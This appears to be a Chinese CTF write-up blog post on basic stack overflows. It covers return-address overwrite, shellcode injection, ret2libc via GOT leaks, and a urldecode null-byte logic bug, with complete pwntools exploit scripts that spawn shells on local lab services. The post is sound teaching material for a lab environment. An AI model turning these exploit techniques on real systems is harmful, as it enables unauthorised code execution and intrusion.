PWN学习总结之基础栈溢出

总结下内部CTF平台中的栈溢出PWN

#0x0 前言

前置技能: 32/64位汇编

把这篇博文的题目都丢一个docker里了, dockerfile丢到github了: https://github.com/Hcamael/docker_lib/tree/master/pwn

进入到pwn目录中, build一个新镜像:

1
2
3
$ cd pwn
$ docker build -t ubuntu:stack1 .
$ docker run --name stack1 -it -d -P ubuntu:stack1

然后使用

1
docker port stack1

查看每题开放的端口

#0x1 PWN0

描述: 题目就一个pwn0的二进制文件, 这题是一个栈溢出的演示demo, 了解如何通过栈溢出控制EIP

我做二进制的步骤一般都是先用binwalk, 查看二进制文件

1
2
3
4
5
$ binwalk pwn0
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV)
1746 0x6D2 Unix path: /home/pwn/pwn0/flag

从binwalk中得知这是一个32位的二进制文件, 然后丢到32位的IDA中

简单来看可以直接用F5, 也可以直接看汇编, 锻炼一下自己.

很容易能找到一个getFlag函数
pwn00

只要能调用该函数, 那么就可以得到flag

还有两个函数foomain

pwn01
pwn02

代码很简单, 正常情况下是不可能调用到getFlag函数的, 这时候就需要想其他方法.

foo函数中, 调用gets函数之前的汇编, 我们能得到如下的栈结构:

pwn03

gets函数得到的输入存在eax指向的地址, 因为gets函数没有限制输入的长度, 如果获取输入的字符串大于0x1c byte, 则会覆盖到ebp以下的栈数据, ret表示函数执行结束后的返回地址, 如果foo函数执行结束, eip就会跳向这个地址, 所以我们可以通过把ret的值改为getFlag函数的地址, 调用getFlag函数.

通过gdb进行调试, 可以很容易理解该原理.

当输入32 * 'a' + 'b' * 4时:
pwn04

payload0.py

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
conn = remote('127.0.0.1', 10001)
pwn_elf = ELF('pwn0')
print conn.recvline()
payload = "a" * 0x1c + "a" * 4 # 0x1c长度的buf + 4 byte的ebp
payload += p32(pwn_elf.symbols['getFlag']) # 覆盖ret
conn.sendline(payload)
print conn.recv()
print conn.recv()

不过这是下一题的解法, 在foo函数中不是还有一个条件语句调用getFlag函数么, 只要让该判断成立, 就好了, 上面的理解了, 现在说的这种方法就一目了然了, 用于判断的变量a1, 为函数实参, 在栈中位于ret之下, 所以只要输入(32 + 4 + 4) * 'a'覆盖该参数, 则可使判断成立

0x2 PWN1

使用上面所说的方法, 控制eip跳转到getFlag函数

0x3 PWN2

描述: 古老的栈溢出, 用shellcode就好了

同样是使用binwalk, 判断出是32位程序, 丢到ida中

本题主要是foo函数:

1
2
3
4
5
6
7
ssize_t foo()
{
char buf; // [sp+Ch] [bp-1Ch]@1
printf("0x%x\n", &buf);
return read(0, &buf, 0x100u);
}

从汇编代码中我们能看出buf的长度为0x1c, 但是read函数却可以最大读取0x100比特的字符串, 很明显会导致溢出漏洞

这里推荐一个神器: peda

peda为gdb插件

peda有一个checksec命令, 可以检测二进制的保护机制是否开启

1
2
3
4
5
6
7
$ gdb pwn2
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial

其中NX, 表示堆栈不可执行的保护, 状态为disabled, 表示堆栈不可执行关闭, 也就是说eip可以跳到堆栈地址

这时候我们可以使用shellcode, 啥为shellcode? 比如一段C代码system('/bin/sh');, 把其转为汇编再转为二进制形式就是shellcode

我们可以把shellcode储存在buf变量中, 然后通过溢出, 控制eip跳转到buf的地址, 我们就可以执行shellcode了, 可以想象成是执行system('/bin/sh');

foo函数中一开始就输出buf变量的地址了, 所以也挺简单的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
shell_code = shellcraft.i386.sh() # pwntools生成shellcode的汇编代码
shell_code = asm(shell_code) # 把汇编代码进行汇编生成二进制
conn = remote('127.0.0.1', 10003)
addr = conn.recvline()
add = int(addr[2:],16) # 获取buf地址
shellcode_add = p32(add + 32 + 4) # 计算出shellcode地址, 然后转换成二进制字符串
v = 32*"a" + shellcode_add + shell_code # 0x1c的buf + 4 byte的ebp + 4 byte的shellcode地址 + shellcode
conn.send(v+"\n")
conn.interactive()

0x4 PWN3

描述: 如果服务开了NX, 应该怎么拿shell呢?

该题给了一个二进制文件和该二进制文件依赖的libc库

使用binwalk, 可知是32位程序, 使用checksec, 可知开启了NX保护, 表示堆栈不可执行, 所以无法像上一题一样控制eip跳到栈地址了.

先丢ida

跟上一题差不多的代码, 同样buf大小为0x1c

所以通过溢出控制eip很简单, (只要前面的理解清楚了)现在的问题是, 控制了eip后可以干什么? 首先考虑, 做这题我们的目的是啥, 原题是flag位于/home/pwn/pwn3/flag路径下, 要读取该文件就需要能执行shell命令, 我复现的环境里没放进flag, 所以最终目是能getshell就好了.

我们的目的是getshell, 那么只要能执行system('/bin/sh')类似的命令就能达成我们的目的, 执行类似命令我们还缺少一个条件, system函数的地址, 如果我们能获取到该地址, 那么很容易就能getshell了, 只要发送32 * 'a' + system_addr + ret_address + '/bin/sh'

首先是发送32 byte的padding把0x1c的buf和4 byte的ebp给填满, 然后是system_addr地址覆盖ret的地址, 控制eip跳转到system_addr地址, 然后就是system函数执行结束后的放回地址, 然后是system函数的参数/bin/sh

所以现在我们的问题就是, 如何获取system函数地址, 在pwn3的二进制文件中, 无法找到system函数

C语言写的程序, 在正常情况下, 程序都会加载一个叫libc的动态链接库, 在代码中你不需要#include外部库就能调用的函数, 比如write, read, system, 这些函数就来自这个libc库, 使用ldd可以查看一个二进制文件的动态链接库的情况

1
2
3
4
$ ldd pwn3
linux-gate.so.1 => (0xf77f7000)
libc.so.6 => /lib32/libc.so.6 (0xf7623000)
/lib/ld-linux.so.2 (0x5662b000)

在运行pwn3的时候libc库也会被动态的加载到内存中去, libc中含有system函数, 所以内存中也会有system函数, 所以现在的问题是如何去寻找内存中system函数的地址

这时候涉及到另一个知识点, 在一个二进制文件中, 有一个plt表和一个got表的东西, 你的程序调用的函数除了自己写的函数外, 都会出现在这两个表中, 你可以想象成是外部调用函数表.

仔细看汇编代码你会发现, 外部函数的调用都是call该函数plt表的地址, 涉及到这样一种机制:

1
第一次call write -> write_plt -> 系统初始化去获取write在内存中的地址 -> 写到write_got -> write_plt变成jmp *write_got

还要能理解一种关系:

1
write_addr - system_addr == write_addr_libc - system_addr_libc

也就是, system函数和其他函数地址的差值, 不管是加载到内存中还是在libc的二进制中, 都是相等的

根据上面这些姿势, 如果我们获取到了write_got的值(write函数加载到内存中的地址), 因为我们有libc库, 所以可以很容易去计算system函数和write函数的差值, 用write_got地址减去这个差值, 也就是system函数加载到内存中的地址了

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
context.log_level = "debug"
p = remote("127.0.0.1", 10003)
e = ELF('libc.so.6')
pwn3 = ELF('pwn3')
payload1 = "a"*32 # 32 byte的padding
payload1 += p32(pwn3.symbols['write']) # 控制eip跳转到write函数
payload1 += p32(pwn3.symbols['foo']) # 调用完write后的返回地址
payload1 += p32(1) + p32(pwn3.got['write']) + p32(4)# write函数的三个参数: write(1, write_got, 4)
p.sendline(payload1)
p.recv()
a = p.recv()
write_addr = u32(a[-4:]) # write 在内存中的值
write_system_addr = e.symbols['write'] - e.symbols['system'] # write函数和sytem函数地址的差值
write_shell_addr = e.symbols['write'] - e.search('/bin/sh').next() # write函数和/bin/sh字符串地址的差值
sys_add = p32(write_addr - write_system_addr) # 通过差值计算出system函数在内存中的地址
shell_add = p32(write_addr - write_shell_addr) # 计算出/bin/sh字符串的地址
ret_addr = '\x12\x12\x12\x12' # 调用system函数后的返回地址, 这里随便填
payload = "a" * 32 + sys_add + ret_addr + shell_add # 调用system('/bin/sh')
p.sendline(payload)
p.interactive()

0x5 PWN4

描述: 给了一个二进制文件和libc库, CTF中正常情况下低分的PWN题, 因为栈溢出的利用相对比较简单, 所以相关的题分数相对比较低, 正常情况下CTF的pwn题不会像前面那样那么容易就让你发现溢出点

pwn4首先看是32位程序, 然后丢到ida中去, 该程序有两个主要的函数sub_8048800sub_8048720:

sub_8048720: 获取输入的函数, 根据\x0a来判断是否结尾, 会在输入的字符串结尾加上\x00, 没有输入的长度限制, 输入存在堆中, 会根据输入的长度动态扩展堆, 没发现漏洞, 认为无法溢出

sub_8048800: 通过strlen判断输入的字符串长度, 必须大于7小于0x80, 开头7byte必须是http://,初始化了一个0x80大小的栈, 然后是根据是否有%符号, 如果不是%符号, 则把堆上的字符copy到栈上去, 如果遇到%, 则把之后两个byte当成十六进制, 然后转成字符串copy到栈上去, 遇到\x00则结束copy, 比如堆上的数据是http://%41, 则copy到栈上之后的结果是http://A, 其实就是一个urldecode的代码

粗看之下并没有发现有溢出点, 但是仔细分析下, 这两个函数结合起来有一个算是逻辑方面的漏洞吧.

sub_8048720是根据\x0a来判断结尾, 而strlen函数是根据\x00来判断字符串长度, 也就是说, 我输入http://\x00aaaaaaaaaaaaaa\x0a, 使用strlen来判断长度, 其长度为7.

但是还有一个问题, sub_8048800中也是根据\x00来判断copy的结尾, 但是却存在一个逻辑漏洞, 如果当前byte是%, 则把后面两byte根据十六进制ascii转成字符, 然后指针向后移两位:

所以说, 如果我的\x00藏在%号之后, 就不会遇到copy结束的判断, 从而导致栈溢出

栈溢出证明: 'http://\x00' + 'a'*0x100

然后是本题的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
pwn4 = ELF('pwn4')
libc = ELF('libc.so.6')
padding = "http://%\x00" + 'a' * (156 - 9 + 2) # 加2是因为出现了%, 指针偏移了两位
p = remote("127.0.0.1", 10004)
get_write_addr_payload = padding + p32(pwn4.symbols['puts']) + p32(0x8048590) + p32(pwn4.got['puts']) # puts(puts_got) 然后调回到main函数
p.readuntil('URL: ')
p.sendline(get_write_addr_payload)
p.readuntil("http://\n")
puts_addr = u32(p.recv()[:4]) # puts_got
# 之后就是栈溢出知道libc库的套路, 跟pwn3一样
puts_system_addr = libc.symbols['puts'] - libc.symbols['system']
puts_binsh_addr = libc.symbols['puts'] - libc.search('/bin/sh').next()
system_addr = puts_addr - puts_system_addr
binsh_addr = puts_addr - puts_binsh_addr
get_shell_payload = padding + p32(system_addr) + p32(0x8048590) + p32(binsh_addr)
p.sendline(get_shell_payload)
p.interactive()

文章目录
  1. 1. 0x2 PWN1
  2. 2. 0x3 PWN2
  3. 3. 0x4 PWN3
  4. 4. 0x5 PWN4